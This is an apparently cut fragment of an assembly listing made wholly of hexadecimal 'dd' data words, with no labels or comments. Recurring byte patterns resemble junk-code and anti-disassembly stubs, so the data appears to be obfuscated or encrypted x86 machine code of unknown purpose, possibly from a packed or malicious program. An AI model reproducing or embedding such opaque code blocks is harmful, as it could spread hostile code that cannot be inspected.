		dd 0A92395BBh, 2B905B1Bh, 1B2E59BDh, 35FF6406h,	0
		dd 258964h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 944BC351h, 290A6DBEh
		dd 85FF03B7h, 61B2B0Dh,	8D42C781h, 0FF6A1CA4h, 2C2D9D8Bh
		dd 0B5FF061Bh, 61B1BD1h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 0F8C35646h, 0FFF98B66h, 1B080595h, 151E906h
		dd 0C7810000h, 1C70E91Eh, 20BB00B0h, 601603B2h,	28E5BD09h
		dd 12E9061Bh, 6E000000h, 56956D8Bh, 4B1BC914h, 0BA893D10h
		dd 6D6A3C29h, 70E6613Eh, 71E4FE8Ah, 38A0Fh, 0F7800000h
		dd 0F613CABh, 10E83h, 7E900h, 0E1700000h, 44F57C71h, 0C8B60F33h
		dd 0BE9h, 14697A00h, 0EA22BF7Ah, 4C9D8E62h, 0D8816660h
		dd 8B6633C6h, 6BA61D0h,	29000000h, 1B010195h, 0E9C18B06h
		dd 10h,	76D22F72h, 37DB27h, 0E1CB9BD3h,	8F94FA7Ah, 8904E8C1h
		dd 1B31B9BDh, 0E2F76606h, 0C82BD8B3h, 0FD18BF5h, 0A8E9DABFh
		dd 0E8000000h, 7, 0F3C8B28Dh, 0E9D1B24Ch, 0Bh, 21AB2B7h
		dd 5A8E6984h, 5B1E7A8Dh, 41CBC381h, 858B02C3h, 5F4C4C44h
		dd 0F98589h, 880F061Bh,	2, 0C083DF8Bh, 0BE907h,	4B940000h
		dd 0EB779D1Bh, 6119CE9Eh, 0C083EEh, 8F58D89h, 0D03B061Bh
		dd 0E830Fh, 8A530000h, 44E95FDEh, 66000000h, 7EA1CF81h
		dd 0FFFF8D8Bh, 9D8BFFFFh, 61B2F1Dh, 0F01E183h, 2A84h, 0EDBD8B00h
		dd 83061B03h, 0FFFFFFA5h, 8E0FFEFFh, 6,	1ADB531h, 9589061Bh
		dd 5F4C4C44h, 18FD9D8Bh, 0E9061Bh, 8D000000h, 1F5E42B5h
		dd 0CE906h, 193A0000h, 822CD7B5h, 1707BDA4h, 6A8C98h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 1EC35040h, 8B8BC9A4h
		dd 595FFFEh, 6A061B22h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 7079C357h, 0B99AE780h
		dd 0F1Ah, 68A0Fh, 8D310000h, 61B02B5h, 6AFCE183h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 213BC350h, 0D05F0217h, 0FC84BD3Bh, 0D380FDB7h, 0B84Bh
		dd 1FB30000h, 8A0FD22Bh, 6, 7958D89h, 33AD061Bh, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 79240FC3h, 1DA1BD8Bh, 6A061Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 90D789C3h, 14E93D18h, 5E000000h, 35E4A903h, 0D2E9AEE2h
		dd 20781020h, 0C1E9746h, 0E9AADAC4h, 0Ah, 32BD71D0h, 3552EAh
		dd 0CE85761h, 0A000000h, 0FE67542Bh, 0CD0D16B5h, 2954E0FCh
		dd 1B11B18Dh, 880D5F06h, 60000000h, 0B63388BEh,	0BF66614Dh
		dd 958BDD41h, 61B2429h,	0C8D0Fh, 9600000h, 1B00DD85h, 0A4BB6606h
		dd 8D8B61D6h, 61B0765h,	0AE8h, 68701300h, 2B2AAB7Ah, 0E9AA7334h
		dd 0Bh,	28EC2B22h, 8770B8FFh, 5B8D329Eh, 8B50F98Ah, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0E3C35343h,	8B6614B8h, 0D38166DFh
		dd 0DE8BE3A4h, 1769BD83h, 0F00061Bh, 8A84h, 858D2900h
		dd 0B8061B19h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0E6C35646h
		dd 3261755Ah, 61BD89E6h, 0E8061B12h, 8,	0CBB35CCCh, 86BD9D59h
		dd 5BDF8B66h, 4CD38D8Dh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 60A391C3h, 7E9h, 0E3C36A00h
		dd 0FA393AD7h, 6061C38Bh, 2199529h, 8B66061Bh, 0E1FF61D9h
		dd 18B0Fh, 83F90000h, 1B13D1BDh, 840F0006h, 412h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 73C35646h, 0BD83C69Eh
		dd 61B13D1h, 2840F01h, 0BB000004h, 5479DA9h, 13D1BD83h
		dd 0F03061Bh, 3BA86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 529C8447h, 6DDC5C67h
		dd 1FBB70Fh, 1B1061B5h,	0CE86006h, 1F000000h, 86D9E017h
		dd 0F1F1DAD5h, 669313DEh, 5BE442BFh, 9D98C66h, 1B020D8Dh
		dd 4E18006h, 6C9ABB66h,	840FC90Ah, 1B7h, 13E8h,	9D09B800h
		dd 69F018EDh, 67B1B3A2h, 0ADFF8335h, 0BD2829Ah,	1EF19D8Bh
		dd 535B061Bh, 86D78166h, 858B5F38h, 61B0145h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0E5C35545h, 19DC027h
		dd 1B16C98Dh, 31853306h, 6A061B2Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8077C357h
		dd 858905F3h, 61B08CDh,	60525050h, 66310F61h, 5A1117BFh
		dd 24048958h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Bh,	0DC35141h, 52941F4Eh, 8B3C9F8Fh, 1B0B8D9Dh, 7E806h
		dd 0FC160000h, 0EEEA863h, 816660E3h, 0F8671C0h,	85h, 6A5B6100h
		dd 4E800h, 3FF0000h, 5250001Fh,	0EC56D0BFh, 0BB310F16h
		dd 234720ACh, 8A50585Ah, 24448BD9h, 94BB6604h, 0F008BA4h
		dd 8Dh,	24448900h, 0D88B6604h, 50006A58h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8BE8E9B4h
		dd 1B13BDBDh, 3595FF06h, 6A061B32h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0C3D0C353h
		dd 0BC8DBC41h, 1D219D8Bh, 8589061Bh, 61EAD99h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 1BC35545h, 8CB136FCh
		dd 0CF80A533h, 0DDBD8B4Bh, 0E9061B08h, 176h, 25880Fh, 0E8600000h
		dd 10h,	0E0BF48C7h, 13F5C531h, 0AB7A6870h, 73342B2Ah, 8E958h
		dd 83FA0000h, 480491Ah,	8B613845h, 1EAD9185h, 0C7F88B06h
		dd 1800h, 8BFA8B00h, 1EAD95B5h,	57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0F99D335Ah
		dd 8B061B25h, 1B122985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 810689F2h, 0FABB3AE3h
		dd 45858B6Fh, 6A061B01h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0F8BFC350h,	9044689h
		dd 1B2D2D8Dh, 0BB665006h, 34896BC1h, 52006A24h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 2673F002h
		dd 71B529E5h, 0FF061B10h, 1EAD91B5h, 8D895106h,	61B2D4Dh
		dd 9343685Bh, 8B6018A1h, 0A9FBBAD7h, 8161060Ch,	90BC2434h
		dd 6A18BEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 7CCD8DC3h, 8BCF1AB1h, 1B01319Dh, 2D8D8906h
		dd 8D061B0Fh, 1EAD9985h, 0FA8B6606h, 12E850h, 9FA20000h
		dd 48032F29h, 3DBFBB6Bh, 0A2ABB2AEh, 32F3066Dh,	895F97B7h
		dd 9D2B2404h, 61B1871h,	323595FFh, 820F061Bh, 6, 8C0Fh
		dd 0C7610000h, 1B13D185h, 306h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0A315FA9h
		dd 0FE82CE5h, 0C83h, 6890F00h, 89000000h, 1B12F985h, 99BD8306h
		dd 61EADh, 11840Fh, 0BD330000h,	61B2DC5h, 21E9h, 0B5BD8900h
		dd 50061B08h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 97738FC3h, 5B395D25h, 2BBF2A60h
		dd 0BB19D20Fh, 1BB1CA98h, 2AB5BD0Bh, 6A061Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 7BAD86C3h
		dd 0DB78A1C0h, 0D1BD8386h, 3061B13h, 400850Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0DC04A9C3h, 433ED375h, 0E9CEB526h, 0Fh, 9B593D2h, 0A035F250h
		dd 3BC1E96Fh, 83317B9Ch, 1EAD99BDh, 840F0006h, 3BAh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 2EC35141h, 0D1C6E24h
		dd 8B660E6Bh, 0B59D0BDAh, 0FF061B08h, 1EAD99B5h, 0FF17B306h
		dd 1B011195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0BE0997Dh, 0C018589h, 800F061Bh
		dd 5, 36EB8166h, 8DB58BDAh, 0C7061EADh,	1000106h, 19D8B00h
		dd 96061B07h, 952BBF66h, 96DE8B50h, 1105B589h, 0B5FF061Bh
		dd 61EAD99h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0DFC35242h, 0FFDE8ACBh,	1B1BC995h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 97C06173h, 8D312AE8h, 61B2E39h, 0AD8DB58Bh, 6A061Eh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 43A4C8C3h, 2CCA8884h, 25858B07h, 6A061B0Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 69C6C355h, 6870Fh, 9D890000h, 61B1219h, 68B0Fh, 0B5890000h
		dd 61B1D21h, 0C48689h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 52821AC3h, 0D98AB05Dh
		dd 2429958Bh, 9D03061Bh, 61B0D21h, 6A04C283h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 89B8C356h, 1B23FDBDh, 8B665006h, 50895FFAh, 57006A20h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0B96D6719h, 66616C04h, 8DC707BBh, 1EC0C785h,	71BD8B06h
		dd 89061B19h, 0B886h, 3ABF6600h, 6A006A2Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0DE1AC356h
		dd 6D9C3546h, 81F21650h, 919E5FCFh, 99B5FF45h, 6A061EADh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 1D3BC355h, 0C0475186h, 2D95FFFDh,	0E9061B14h
		dd 13h,	5B27892h, 544DECBEh, 6AE8D7D1h,	0B7902A1h, 31798721h
		dd 1B08319Dh, 96509606h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 99C35141h, 0D9DE77EAh, 0EECC25E4h, 99B5FF4Ah
		dd 6A061EADh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0E5F1C350h, 6F0CF781h,	89E32525h
		dd 1B140DBDh, 9195FF06h, 0FC061B1Bh, 0C81BD83h,	0F00061Bh
		dd 1C84h, 9D8B6000h, 61B0DD1h, 0E008D8BFh, 0BF506165h
		dd 4292A034h, 31243489h, 1B006185h, 99B5FF06h, 6A061EADh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0FF12C352h, 1B0BD595h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0B70FA48Bh
		dd 0AE8DAh, 8D920000h, 91851442h, 0F8E9E4EDh, 23B58509h
		dd 0FF5B061Bh, 1EAD99B5h, 4D953106h, 0FF061B2Dh, 1B1A0995h
		dd 0D5BD0306h, 0E9061B16h, 14h,	9871C5F5h, 151B896h, 9D519C99h
		dd 6D266B25h, 229A4D02h, 7A5BD83h, 0F02061Bh, 1584h, 0F5952900h
		dd 8B061B0Dh, 1B303185h, 0C606h, 6118C781h, 85C72444h
		dd 61B2BD5h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F6C35646h
		dd 0C4DBD33h, 53E9061Bh, 8BFFFFF3h, 1B14159Dh, 0E9C18B06h
		dd 5, 0C89BB23Eh, 5BD0B42h, 8D061B32h, 1B32ED85h, 8CACBF06h
		dd 88BF10CAh, 5001846Eh, 9E85250h, 88000000h, 5D5B743Ah
		dd 4FD093DFh, 14E9h, 3FDE6500h,	863A02E8h, 0D64CB7F0h
		dd 1A0EA74Ch, 6E6BADF6h, 310F5BF9h, 70C4BF66h, 489585Ah
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 19B50189h, 80061B2Fh, 6A2DDFh, 1831BD8Bh
		dd 6A061Bh, 8D95D380h, 1FE94285h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 10385111h
		dd 84D9D8Bh, 0AB7061Bh,	9005C083h, 50FE8B66h, 20DC14BFh
		dd 6A901Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 6A3AC3h, 1EC99D8Bh, 6A061Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 7BC35646h, 0D1B9C023h
		dd 9D8B3042h, 61B2999h,	1A0195FFh, 6A061Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0A2848DC3h
		dd 0FB8B8EC0h, 2AF8BF66h, 92B78D8Dh, 6A061Eh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 9D635FC3h
		dd 0FC8A9CFh, 68Ah, 0F1B53100h,	0F5061B20h, 6AD1FFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 841723C3h, 0F381E16Ch, 0B6F0B52h, 0BD83F88Bh, 61B1CD5h
		dd 90850F01h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 86CDC352h, 321D8589h
		dd 26A061Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	0EFC35040h, 0A43D4D77h,	66DBADE6h, 0D381D88Bh
		dd 12746C95h, 0DF8B6690h, 15BF6650h, 6A9079h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0FE15DCC3h
		dd 0A06BEF5Bh, 0F9609585h, 0FF61D18Bh, 1B142D95h, 0D9D8906h
		dd 0E9061B09h, 0DECh, 0E8h, 0ED815D00h,	61FE94Ch, 68F0Fh
		dd 9D8B0000h, 61B23CDh,	0C6D78166h, 0EE93Fh, 5F0F0000h
		dd 1380CE47h, 7FA4742Dh, 77D1F437h, 853D858Dh, 6A061Eh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 801F91C3h, 8B506BCFh, 240489FBh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 2DC35040h, 7E817C1h, 0A1000000h
		dd 0B10F3BCAh, 5F572E8Bh, 0A5BD8B5Bh, 64061B12h, 35FFh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 989813C3h, 0FD8589E7h, 64061B1Eh,	2589h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 5A9519C3h, 34D64402h, 675FC7BBh, 0D85FF16h
		dd 6A061B2Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8BB3C352h, 1B0F35BDh, 6AFF6A06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0D21CC355h, 7166CED5h, 179DBD8Bh,	0B5FF061Bh
		dd 61B25D9h, 595FFFCh, 0E9061B08h, 15Bh, 11E9h,	442400h
		dd 0A70EEAA6h, 0AABD9910h, 85CFA91Ch, 0B095FAh,	944F35BBh
		dd 8170E64Dh, 11DEAAD3h, 8B71E426h, 1B14599Dh, 6E906h
		dd 0F3640000h, 0EEE3CC28h, 830F613Ch, 11Bh, 32E98D89h
		dd 0B60F061Bh, 19B501C8h, 0BA061B30h, 6, 97A9CF81h, 0C18B3038h
		dd 0BB1BD8Bh, 0E8C1061Bh, 0BD8B6004h, 61B227Dh,	11E9h
		dd 5C8DDC00h, 344EC062h, 70655194h, 61EF31AAh, 6661B364h
		dd 9D2BE2F7h, 61B1971h,	8A0FC82Bh, 12h,	0DE9h, 0B8D16F00h
		dd 8E8B5142h, 45BC39A4h, 0D18B1FA0h, 1A19D8Bh, 0A8E9061Bh
		dd 81000000h, 215646C7h, 50858B0Ah, 6647554Ch, 821DF81h
		dd 0E907C083h, 8, 68D3FF49h, 1103C687h,	121BD89h, 0C083061Bh
		dd 75BD8900h, 3B061B1Ah, 10830FD0h, 81000000h, 2272A3EFh
		dd 0E9FB8B00h, 63h, 8BFE8B66h, 0FFFFFF8Dh, 0D19529FFh
		dd 83061B0Bh, 840F01E1h, 4Bh, 5890Fh, 81660000h, 0E99A2FE3h
		dd 7, 8032E3F0h, 83B2A897h, 0FFFFFFA5h,	8A60FEFFh, 0D98D31EBh
		dd 61061B12h, 2609BD8Bh, 9589061Bh, 47554C50h, 0DE9h, 0DABD0900h
		dd 0E53F11C9h, 7403BB0Fh, 0E98122h, 8D000000h, 1F6D5CB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 6ACA90h,	29599589h, 95FF061Bh, 61B2205h
		dd 1181BD8Bh, 0B9061Bh,	0F500000Fh, 81FCE183h, 0AD9F03EFh
		dd 0B160FC1Fh, 0EB816662h, 2B619AF0h, 56006AC0h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 0B75ECBF2h, 0D04B5BDAh, 0E9BD8BF7h, 0F061B24h, 689h
		dd 41858900h, 2B061B09h, 56006AD2h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 70D7694Fh, 67534BCCh
		dd 4F8DBB66h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0AE9h
		dd 9A4BB500h, 72EBFBF0h, 318AA81Fh, 1B17D59Dh, 71958906h
		dd 0D061B00h, 88h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 44C35545h, 29958BF3h,	0F5061B24h, 7658D8Bh
		dd 50F5061Bh, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 29A69A49h, 1B17B985h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 1502E528h
		dd 8B0E5344h, 1B2915BDh, 69BD8306h, 61B17h, 6B840Fh, 9D890000h
		dd 61B1419h, 0B8h, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1904h, 0C3504000h, 923C71A1h, 8D892A2Eh
		dd 61B3149h, 3229B589h,	8D8D061Bh, 61B4CD3h, 6AE1FFF9h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0B7F6C356h, 9A328D82h, 8B1CA8B1h,	1B1E79BDh
		dd 0D1BD8306h, 61B13h, 3F9840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 95177AC3h
		dd 30FCFD48h, 9D8BF350h, 61B0C01h, 13D1BD83h, 0F01061Bh
		dd 3DD84h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0D88B6691h, 27D88ABBh, 0D1BD8337h
		dd 3061B13h, 376860Fh, 7E90000h, 0EA000000h, 8B4FAD12h
		dd 0BF60D77Ch, 68534C46h, 0E9D98C66h, 8, 0CA9BE4E7h, 731876FDh
		dd 104E180h, 1B2F9D9Dh,	0FC90A06h, 10484h, 9CD2BB00h, 858B6A48h
		dd 61B0145h, 318533FCh,	0E8061B2Ah, 0Dh, 54348E9Bh, 356584FEh
		dd 0AC5E479h, 0EE931h, 4AE70000h, 0CA926073h, 8152DE4Eh
		dd 0EB16AB26h, 89BB905Fh, 507B7EC5h, 14E960h, 46D20000h
		dd 53917331h, 6C88FC5h,	8E78FEE0h, 215FD9FBh, 2EB93293h
		dd 61060003h, 56006A90h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 6A157A4Ah, 7E800h, 86630000h, 0E46218CFh, 1852974h
		dd 5F061B07h, 0CE9h, 0BA518300h, 66B06021h, 0E0576733h
		dd 93756819h, 481B735h,	0E9708A24h, 53006A48h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 53BA7BCFh
		dd 323595FFh, 0DE8B061Bh, 0AD998589h, 0F780061Eh, 18FE9E0h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 63C181C3h, 91858BDFh, 6A061EADh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0D6ECC356h, 8870F32Ch, 0C7F8C9E6h, 1800h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 3B633D32h, 9FF97FC6h, 0DA8B66E6h, 0AD95B58Bh, 6A061Eh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0D7C37EC3h, 3438351Ah, 0F0AD42Eh, 686h, 719D2900h, 8B061B19h
		dd 1B122985h, 89DD8A06h, 59D38006h, 145858Bh, 6A061Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0A35D17C3h, 2772E3B0h, 0DA8BB817h, 0F044689h, 582h
		dd 4F4DBF00h, 8B96238Dh, 5B5750FEh, 0EB816696h,	0B5FF8A16h
		dd 61EAD91h, 13419D03h,	0D868061Bh, 50FA9514h, 9E8h, 6EB86D00h
		dd 7ABC5868h, 5F5FA297h, 27240481h, 6A0589EFh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0FD7C357h, 681h, 81BD8900h, 0F061B11h, 858DD8B7h, 61EAD99h
		dd 90C0BB66h, 3BBB6650h, 24048973h, 28FDB501h, 95FF061Bh
		dd 61B3235h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0CDC35141h, 6A6112h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 170424h, 53430000h, 8173A1C3h, 75BF6675h
		dd 8820F09h, 0F000000h,	283h, 0FB0B700h, 0A80h,	61606000h
		dd 1BCDB58Bh, 0C761061Bh, 1B13D185h, 306h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 8D895948h, 61B2381h,	0AD99BD83h, 0F00061Eh, 5384h, 0D7816600h
		dd 0BD2B8350h, 61B1251h, 5EE9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 2F957C91h
		dd 8942E87Fh, 1B25D59Dh, 11E806h, 0A06D0000h, 0D4781477h
		dd 4E0D516Ch, 8F52941Fh, 66803C9Fh, 5F4BA7BBh, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 3B11C352h, 146424CCh, 0F84D877h, 0F09BD8Bh, 0B589061Bh
		dd 61B16B1h, 0FAD78166h, 0D1BD83F2h, 3061B13h, 487850Fh
		dd 0BD830000h, 61EAD99h, 7A840F00h, 0E9000004h,	10h, 0FB0EF61Dh
		dd 812B6D59h, 5419BBFDh, 0EE3AC4Dh, 0DE9h, 55E08300h, 1280C743h
		dd 0C794DFBh, 0B5FF0E29h, 61EAD99h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 15C35646h, 8DBDFADDh, 66600813h
		dd 66A28CBFh, 0FFE9EDBBh, 1B011195h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 37780D23h
		dd 8DB58B77h, 6A061EADh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0E770C356h,	0C5F700FBh
		dd 0B5BD237Bh, 0C7061B02h, 1000106h, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 325956D0h
		dd 0A20EFF0Eh, 0C99D29F2h, 3061B22h, 1B305D9Dh,	13BF5006h
		dd 890482A7h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 3330B5C3h, 5C448089h, 2C15BD8Bh
		dd 0B5FF061Bh, 61EAD99h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 50C35545h, 0AC6B7BCEh, 3A4EAE01h, 0EE9FAh
		dd 34800000h, 4577D7F6h, 77DD4009h, 3D8671ABh, 1BC995FFh
		dd 6A061Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 15A830C3h, 0B58BB4D2h, 61EAD8Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 61C35646h, 36EBAFEAh
		dd 0B19D8BA6h, 8B061B07h, 1B0D2585h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 8689FCBAh
		dd 0C4h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0A8C35343h, 0A9FAD22h, 609B0CE3h, 8B61F38Bh, 1B242995h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 81C67561h, 73519A52h, 98B0FB1h, 0F000000h
		dd 388h, 0DBB70F00h, 6A04C283h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 8A0EC355h, 205089FAh
		dd 0C0C7858Dh, 6A061Eh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 306511C3h, 0B7700883h, 8144E0CCh
		dd 3D22FAC7h, 0B8868912h, 29000000h, 1B31B985h,	0BF006A06h
		dd 52597462h, 0AD99B5FFh, 0B660061Eh, 0D18D8B3Ch, 61061B02h
		dd 142D95FFh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 89D655C3h, 1B21B5BDh, 0FE8B6606h
		dd 138A0F50h, 0E9000000h, 0Eh, 735845E4h, 0B318E0Eh, 8F9C8FD9h
		dd 3489C539h, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0AAE81757h, 0FF14F799h, 1EAD99B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 38CC6F5Dh, 4AC2E0BBh, 9195FF41h,	0F061B1Bh
		dd 84h,	81BD8300h, 61B0Ch, 6F840Fh, 5E80000h, 0B3000000h
		dd 0F1FEFCFh, 5BBCF780h, 3C99D8Bh, 6050061Bh, 11E95250h
		dd 40000000h, 0C517AAA6h, 0FFD1AC5Bh, 21D3A6EBh, 660983BFh
		dd 0FE8B310Fh, 8961585Ah, 6A2434h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0C54487C3h, 750CE52Ah
